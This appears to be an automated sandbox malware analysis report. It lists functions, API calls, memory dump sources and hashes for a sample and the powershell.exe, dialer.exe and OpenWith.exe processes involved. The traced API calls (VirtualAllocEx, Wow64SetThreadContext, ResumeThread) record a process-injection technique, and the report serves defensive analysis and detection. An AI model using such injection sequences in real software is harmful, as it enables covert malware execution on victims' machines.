API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-823278215
Opcode ID: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction ID: cb28855b84c3abb27e6c937247341fa4f051846acd49e0d4b6103447305c23c4
Opcode Fuzzy Hash: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction Fuzzy Hash: 5DE0C23362083097C6311F55EE04B1A7778AF89B2AF01402AEC407B2618B74AC538FCC

Uniqueness

Uniqueness Score: -1.00%

Function 00405FAC Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBC
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FD4
CharNextA.USER32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FE5
lstrlenA.KERNEL32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FEE

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction ID: e9567a821587a5f0376c4e2be66d4cfc8c6f540c5076303c4651ac02cb4e93c6
Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction Fuzzy Hash: E1F09631105519FFC7029FA5DE00D9FBBA8EF05350B2540B9F840F7250D678DE01AB69

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 2964, Parent PID: 3816COMMON

Executed Functions

Function 046F29F0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2028694723.00000000046F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_46f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1a9c4baaf9769e6e30354a5cc1e90f00a42335514462dbb4507da645a4269f1
Instruction ID: 0b04d95fdd7bf363d894d64dc1e294ba552a3cd5e8dfe027a187af57206732ec
Opcode Fuzzy Hash: c1a9c4baaf9769e6e30354a5cc1e90f00a42335514462dbb4507da645a4269f1
Instruction Fuzzy Hash: 8D918C74A002098FCB15CF58C8D49AEBBB1FF49310B258699DA55AB3A5D736FC81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 046F2B00 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2028694723.00000000046F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_46f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63c1fe56eb51ac25e8ce5dc7753f44804d3a24283cbfa1244ef0c92ac37b7dc3
Instruction ID: c5335de8d3f57000c79ce22616d6bab028f95979120dded2ee0631ad77ec7e86
Opcode Fuzzy Hash: 63c1fe56eb51ac25e8ce5dc7753f44804d3a24283cbfa1244ef0c92ac37b7dc3
Instruction Fuzzy Hash: 264148B4A005059FCB09CF58C5A89AEFBB1FF48314B1185A9DA55AB364D732FC91CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0420D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2028174211.000000000420D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0420D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_420d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04bcab9406798331fdf8c21f73d9cae7f0210afbd0e59c36685dd89355941b1d
Instruction ID: b869999afca8bbb44be1e51cb91f3145fb44e842e0f300849cc9ff1437cb4528
Opcode Fuzzy Hash: 04bcab9406798331fdf8c21f73d9cae7f0210afbd0e59c36685dd89355941b1d
Instruction Fuzzy Hash: 7E01F7716263409AE7208E99DD84B67BFDCEF45320F18C429ED4C0A2C7C279A841C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 0420D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2028174211.000000000420D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0420D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_420d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f93e5d4f02fc87ef78fb5019834fc5424d44456fb75fc9cdcda27aa5c29d511e
Instruction ID: 9f66c83b9be3f5b1be781167598b16a7a10d1cf0d819de816c233a2f796bdccc
Opcode Fuzzy Hash: f93e5d4f02fc87ef78fb5019834fc5424d44456fb75fc9cdcda27aa5c29d511e
Instruction Fuzzy Hash: 68014C7151E3C09ED7128B259894A52BFB8EF43224F19C0DBD9888F2A3C2695849C772

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 5720, Parent PID: 3816COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	0

Executed Functions

Function 07763CD0 Relevance: 8.8, Strings: 6, Instructions: 1330
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tP]q, xrefs: 07763F7D
tP]q, xrefs: 07763F89
4']q, xrefs: 07763DA7
(o]q, xrefs: 07764005
4']q, xrefs: 07763D9B
(o]q, xrefs: 07764015

Memory Dump Source

Source File: 00000006.00000002.2135799210.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$4']q$4']q$tP]q$tP]q
API String ID: 0-1879539604
Opcode ID: 5ebb48d5b798732d2998939e7bf40f7710c12c57230a61e22f9efa651db9280f
Instruction ID: 678afbed1b27126e80e30285e87e5f1b7a5081210947bebab9512bdc1a1745be
Opcode Fuzzy Hash: 5ebb48d5b798732d2998939e7bf40f7710c12c57230a61e22f9efa651db9280f
Instruction Fuzzy Hash: A5B13A75B00205DFCB14DF68C8486AABBF6EF89350F14C8AADD058B259CB31DD15CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07763918 Relevance: 5.3, Strings: 4, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 07763B0E
tP]q, xrefs: 077639BB
tP]q, xrefs: 077639C7
4']q, xrefs: 07763B1A

Memory Dump Source

Source File: 00000006.00000002.2135799210.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q
API String ID: 0-3637193552
Opcode ID: c6c880805b885b4a739f554b42a7473754554b569065c37f76d62b381296af1e
Instruction ID: 5101cd39752e4994f783ec4891b06848a9b596a7c6bb2e65b2cb7efebc76e029
Opcode Fuzzy Hash: c6c880805b885b4a739f554b42a7473754554b569065c37f76d62b381296af1e
Instruction Fuzzy Hash: 998167B17043458FC7148B6D9858AAABBF1EF86360F14C8ABD849CB255DA35CC45CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0312FDA8 Relevance: 1.6, APIs: 1, Instructions: 104
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0312FE5A

Memory Dump Source

Source File: 00000006.00000002.2113966985.0000000003120000.00000040.00000800.00020000.00000000.sdmp, Offset: 03120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3120000_powershell.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f1850afe4fcf8d9a2bca7e682bc04c27bcc51e544ffce205f8f5272b3137b582
Instruction ID: 6b9a8d5b0acdbc4998fee4ac9b389dd5646385c25f7dc0fb7b5c00e7a73fb4fd
Opcode Fuzzy Hash: f1850afe4fcf8d9a2bca7e682bc04c27bcc51e544ffce205f8f5272b3137b582
Instruction Fuzzy Hash: A641A7B9D002589FCF10CFA9D980A9EFBB5FB49310F10942AE815B7210D735A952CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0312FDB0 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0312FE5A

Memory Dump Source

Source File: 00000006.00000002.2113966985.0000000003120000.00000040.00000800.00020000.00000000.sdmp, Offset: 03120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3120000_powershell.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3812690abd0e62a20170ecfc397fd018ff39d28219d5093978ae88ee034d4828
Instruction ID: 6246d242e279732748ad41f6b6322e0830cf8beaa067e60e94733b4fd53c4390
Opcode Fuzzy Hash: 3812690abd0e62a20170ecfc397fd018ff39d28219d5093978ae88ee034d4828
Instruction Fuzzy Hash: 823197B8D002589FCF10CFA9D984A9EFBB1BB49310F10902AE819B7210D735A956CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0312FC86 Relevance: 1.6, APIs: 1, Instructions: 95
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0312FD37

Memory Dump Source

Source File: 00000006.00000002.2113966985.0000000003120000.00000040.00000800.00020000.00000000.sdmp, Offset: 03120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3120000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 458f51cd1ea2b01c8ef9a9364b07aa06d9b96c25a2cfceb11bc7a3ec2cec14a8
Instruction ID: cac11b4c4be0d676d1a8065485d096029eecc36eda6364e6bc159429cb10a0a6
Opcode Fuzzy Hash: 458f51cd1ea2b01c8ef9a9364b07aa06d9b96c25a2cfceb11bc7a3ec2cec14a8
Instruction Fuzzy Hash: A6419DB5D012589FCB14DFA9D984AAEFFF1BF49310F14802AE419B7240D778A985CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0312FC88 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0312FD37

Memory Dump Source

Source File: 00000006.00000002.2113966985.0000000003120000.00000040.00000800.00020000.00000000.sdmp, Offset: 03120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3120000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 4a63a5dbcc972c4ead6746a37e665cb16cee0eec9a0e342094195853e752e5d6
Instruction ID: bf948ce7fe27c661479666ff763e671c21d07b9d4fd4902d83b0a5c841e6b352
Opcode Fuzzy Hash: 4a63a5dbcc972c4ead6746a37e665cb16cee0eec9a0e342094195853e752e5d6
Instruction Fuzzy Hash: 0A319CB5D012589FCB14DFA9D984AAEFFF1AF49310F14802AE419B7240D778A986CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0312FB91 Relevance: 1.6, APIs: 1, Instructions: 76
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 0312FC16

Memory Dump Source

Source File: 00000006.00000002.2113966985.0000000003120000.00000040.00000800.00020000.00000000.sdmp, Offset: 03120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3120000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: dd80b7d3169ebfe97656864e44242437fc8d53eeefa1746f47bfb4d7e24b06d6
Instruction ID: d9122dcf10c98bf0fd99cf630c81b68ddb6857f63356306841f9c12ca5549453
Opcode Fuzzy Hash: dd80b7d3169ebfe97656864e44242437fc8d53eeefa1746f47bfb4d7e24b06d6
Instruction Fuzzy Hash: 5B31CBB4D052189FCB14CFA9D985AAEFBB4FF49310F14842AE819B7200DB34A841CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0312FB98 Relevance: 1.6, APIs: 1, Instructions: 73
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 0312FC16

Memory Dump Source

Source File: 00000006.00000002.2113966985.0000000003120000.00000040.00000800.00020000.00000000.sdmp, Offset: 03120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3120000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: baa812cc2fb33f6d7a5b12785334dd25e936108b1088b9b0d9cee5f2c7cf923f
Instruction ID: 4ac1ab0de25497befb669b53afdc87ee81404e0793a6ca59cbe112e9144467aa
Opcode Fuzzy Hash: baa812cc2fb33f6d7a5b12785334dd25e936108b1088b9b0d9cee5f2c7cf923f
Instruction Fuzzy Hash: D131ACB4D052189FCB14CFA9D984A9EFBB4FF49310F14942AE819B7300C735A941CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 077638F8 Relevance: 1.3, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tP]q, xrefs: 077639BB

Memory Dump Source

Source File: 00000006.00000002.2135799210.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: tP]q
API String ID: 0-2175968468
Opcode ID: 523e0c32429d89b99bdbf0b90f770c08c0a47ba61a2c839c0d5461f067f909fd
Instruction ID: be408d60f0eef6756d9bbd29cc87e331441d06758c9b477540a4b2f07ce49339
Opcode Fuzzy Hash: 523e0c32429d89b99bdbf0b90f770c08c0a47ba61a2c839c0d5461f067f909fd
Instruction Fuzzy Hash: A72138B03053419FD7118F64C889BB5BFF1AF4A7A4F0884A6E8498F296D735CC45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0301D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2112848043.000000000301D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0301D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_301d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b1710c60405d2d9bf943ee1ea5a24501f4810116767c208698fc39a84e226db
Instruction ID: 78b7e372261751a341fa26c479cc08dd08853ae8a329af949702fafa6ee78b81
Opcode Fuzzy Hash: 5b1710c60405d2d9bf943ee1ea5a24501f4810116767c208698fc39a84e226db
Instruction Fuzzy Hash: C501F231406340AAE761CA29CD84B77FFDCEF46320F1CC86AED480A246C2799841CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0301D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2112848043.000000000301D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0301D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_301d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9828b9b3f35c4b6bfc35078e2596949f982654e8ad2affa32d5d07834580252
Instruction ID: 926e261e7ee0ae503202f376913bb7b7ec39fede97b2e4003e96c96a994caaff
Opcode Fuzzy Hash: e9828b9b3f35c4b6bfc35078e2596949f982654e8ad2affa32d5d07834580252
Instruction Fuzzy Hash: CD01407140E3C09ED7128B258C94B62BFB8EF47224F1D81DBD9888F2A7C2695844C772

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07760DCC Relevance: 7.6, Strings: 6, Instructions: 80COMMON

Download Yara Rule

Strings

4']q, xrefs: 07760EBB
4']q, xrefs: 07760EC7
$]q, xrefs: 07760E9A
4']q, xrefs: 07760E33
4']q, xrefs: 07760E3F
$]q, xrefs: 07760EA6

Memory Dump Source

Source File: 00000006.00000002.2135799210.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$$]q$$]q
API String ID: 0-2669322367
Opcode ID: 87d63f8b33db26eb972d1728d21630203a933295b0d042c590f82690a1811c48
Instruction ID: eb63492c93cd8b55b0326542c0ff84ac2caeb9c4858d6c4efc4a06b55daf860e
Opcode Fuzzy Hash: 87d63f8b33db26eb972d1728d21630203a933295b0d042c590f82690a1811c48
Instruction Fuzzy Hash: 051150B570932E4FC32D252C28249769BE69FC29D17290DABCC91D734DCE258C45C796

Uniqueness

Uniqueness Score: -1.00%

Function 07761380 Relevance: 6.6, Strings: 5, Instructions: 307COMMON

Download Yara Rule

Strings

4']q, xrefs: 07761420
$]q, xrefs: 077613EF
$]q, xrefs: 077613D3
$]q, xrefs: 077613FB
4']q, xrefs: 07761414

Memory Dump Source

Source File: 00000006.00000002.2135799210.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7760000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q$$]q
API String ID: 0-2353078639
Opcode ID: 8165ef6651f12af37c955d7f3a2e5544d53305e2e51d916e3d4cb7497c1c193f
Instruction ID: 7c5e6e8106dbeaa9c662b3cff717f8424e8af1c9cca7765b5456b19912e99133
Opcode Fuzzy Hash: 8165ef6651f12af37c955d7f3a2e5544d53305e2e51d916e3d4cb7497c1c193f
Instruction Fuzzy Hash: 77A17DB570030E8FC7149A6D981C2AAFBE6EFC6251F58C87BDC45CB659EA31C841C7A1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dialer.exePID: 3664, Parent PID: 6720COMMON

Executed Functions

Function 032A02D4 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167memoryfileCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 032A031C

Part of subcall function 032A00A0: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 032A00C9
Part of subcall function 032A00A0: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 032A0275

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 032A036E
VirtualProtect.KERNELBASE(0000002C,?,00000040,?), ref: 032A03DD
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 032A03FD
MapViewOfFile.KERNELBASE(?,00000004,00000000,00000000,00000000), ref: 032A0424
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 032A044C
FindCloseChangeNotification.KERNELBASE(?), ref: 032A0467

Strings

,, xrefs: 032A034C

Memory Dump Source

Source File: 00000008.00000003.2105983481.00000000032A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_32a0000_dialer.jbxd

Similarity

API ID: Virtual$Alloc$Free$ChangeCloseFileFindNotificationProtectView
String ID: ,
API String ID: 2870039258-3772416878
Opcode ID: 82e5e3048abb205ecfbadfcc4accb215ed5bf30bd6965aeddf34148881449b51
Instruction ID: 858e041eb0a4578b6b88a939fcfda20ddf6e40ff26df5ce9d661f0f45e0cac1b
Opcode Fuzzy Hash: 82e5e3048abb205ecfbadfcc4accb215ed5bf30bd6965aeddf34148881449b51
Instruction Fuzzy Hash: A651DE75910609EFCB10DFA9C884A9EBBB8FF08354F14C52AF955A7240D770A995CB60

Uniqueness

Uniqueness Score: -1.00%

Function 032A00A0 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 032A00C9
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 032A0275

Memory Dump Source

Source File: 00000008.00000003.2105983481.00000000032A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_32a0000_dialer.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: 10429424e9a1de4d1bb2989b80c49e14fdf35f3ceb73ee5a669bf603eef7eed2
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: F6718871E2464ADFDB41CF98C981BEDBBF0AB09314F288095E565FB241C274AA91CF64

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 032A027F Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.2105983481.00000000032A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_32a0000_dialer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction ID: bb5a03ae2c83dd5ead7ed4a2fc6550c1fcd68b4ee9089e567a60c3f808476de6
Opcode Fuzzy Hash: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction Fuzzy Hash: 58F06275A21B01CFCB24CF1EC984C95B7F5EB85710B698595E4049B261D3B0DDC4C750

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: OpenWith.exePID: 6412, Parent PID: 6720COMMON

Execution Graph

Execution Coverage:	34.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	73.3%
Total number of Nodes:	30
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007DF488C092CC Relevance: 28.5, APIs: 13, Strings: 3, Instructions: 544nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF488C093A2
_calloc_dbg.MSVCRT ref: 00007DF488C093BF
DuplicateHandle.KERNELBASE ref: 00007DF488C09454
NtAcceptConnectPort.NTDLL ref: 00007DF488C094FF
NtAcceptConnectPort.NTDLL ref: 00007DF488C09558
NtAcceptConnectPort.NTDLL ref: 00007DF488C09597
NtAcceptConnectPort.NTDLL ref: 00007DF488C095DE
NtAcceptConnectPort.NTDLL ref: 00007DF488C0961B
NtAcceptConnectPort.NTDLL ref: 00007DF488C096A1
NtAcceptConnectPort.NTDLL ref: 00007DF488C09700
NtAcceptConnectPort.NTDLL ref: 00007DF488C097E6
NtAcceptConnectPort.NTDLL ref: 00007DF488C09820
NtAcceptConnectPort.NTDLL ref: 00007DF488C0984D

Strings

,, xrefs: 00007DF488C093D2
H, xrefs: 00007DF488C09783
H, xrefs: 00007DF488C09768

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort$DuplicateHandle_calloc_dbg
String ID: ,$H$H
API String ID: 2166852705-438696205
Opcode ID: 67510fd6fdd56d9b96e64f6ba96e117005d354361ef70f9a43da91e85e8a0e9e
Instruction ID: 7a56225209f92c9190b1bb2afeb570fb44a732e5385b38570762859869f52a2a
Opcode Fuzzy Hash: 67510fd6fdd56d9b96e64f6ba96e117005d354361ef70f9a43da91e85e8a0e9e
Instruction Fuzzy Hash: DA02953161CF844BD7A4EF58D8856AAB3E1FB98340F10463EE58FC3295DA74E9458B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C09AF4 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 156nativeCOMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT ref: 00007DF488C09B1A
NtAcceptConnectPort.NTDLL ref: 00007DF488C09BC3
NtAcceptConnectPort.NTDLL ref: 00007DF488C09C84
??3@YAXPEAX@Z.MSVCRT ref: 00007DF488C09C89

Strings

, xrefs: 00007DF488C09BB3
0, xrefs: 00007DF488C09B66
@, xrefs: 00007DF488C09B7C

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort$??3@_malloc_dbg
String ID: $0$@
API String ID: 2460957884-2347541974
Opcode ID: 2346e1dea013211445be7b298a3f58cd395ddeb762ee424c6c2405f2dc5af54b
Instruction ID: a4cb7c33818372720752cd13c28977f89557f2ea1248d0a019fa1182e17601dc
Opcode Fuzzy Hash: 2346e1dea013211445be7b298a3f58cd395ddeb762ee424c6c2405f2dc5af54b
Instruction Fuzzy Hash: C951637092C7884FD7E4EF14D4857AA77E0FB89354F10452EE48EC6255DB74D8898B83

Uniqueness

Uniqueness Score: -1.00%

Function 0000024AB89530C7 Relevance: 10.9, APIs: 7, Instructions: 390memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 0000024AB8953810
RtlAllocateHeap.NTDLL ref: 0000024AB895386D
NtAcceptConnectPort.NTDLL ref: 0000024AB8953957
NtAcceptConnectPort.NTDLL ref: 0000024AB89539E4
NtAcceptConnectPort.NTDLL ref: 0000024AB8953AA3
RtlDeleteBoundaryDescriptor.NTDLL ref: 0000024AB8953AC0
RtlDeleteBoundaryDescriptor.NTDLL ref: 0000024AB8953AD2

Memory Dump Source

Source File: 0000000D.00000003.2215334998.0000024AB8950000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024AB8950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_24ab8950000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort$AllocateBoundaryDeleteDescriptorHeap
String ID:
API String ID: 3472209132-0
Opcode ID: 06103e6240192ff0ea4d22a768af3a34bd3b5889dbd62609acb6a2f682bb8b02
Instruction ID: e1d11861b9537958025a17f20dc586476b8d0f2b74a9da519590dcbe4c472646
Opcode Fuzzy Hash: 06103e6240192ff0ea4d22a768af3a34bd3b5889dbd62609acb6a2f682bb8b02
Instruction Fuzzy Hash: 01C16330658B498FDF58EF2CD489BA9B7E1FFA9314F00451DE48AC7256DB34E8458782

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C09CA0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 158nativeCOMMON

Download Yara Rule

APIs

_calloc_dbg.MSVCRT ref: 00007DF488C09CC1
NtAcceptConnectPort.NTDLL ref: 00007DF488C09D6E

Strings

@, xrefs: 00007DF488C09D22
0, xrefs: 00007DF488C09D0C
, xrefs: 00007DF488C09D5E

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort_calloc_dbg
String ID: $0$@
API String ID: 3053611130-2347541974
Opcode ID: 2efbfb43f5b264e98edc7990400f44a606071b03ecf31d8e2d45c18cdd4aafd7
Instruction ID: 6036d54b4d1b49b967524e58251a290d231c81485bf6e32d020ac8fed7201cc0
Opcode Fuzzy Hash: 2efbfb43f5b264e98edc7990400f44a606071b03ecf31d8e2d45c18cdd4aafd7
Instruction Fuzzy Hash: 8D511C7060CB898FE7A4EF68D8987ABB7E5FB94341F10452EE48EC3254DB74D9448B42

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BF5BD8 Relevance: 6.7, APIs: 4, Instructions: 747COMMON

Download Yara Rule

APIs

Part of subcall function 00007DF488BE39D4: _malloc_dbg.MSVCRT ref: 00007DF488BE39FD

_calloc_dbg.MSVCRT ref: 00007DF488BF5E3A
??3@YAXPEAX@Z.MSVCRT ref: 00007DF488BF5EA1
??3@YAXPEAX@Z.MSVCRT ref: 00007DF488BF638E
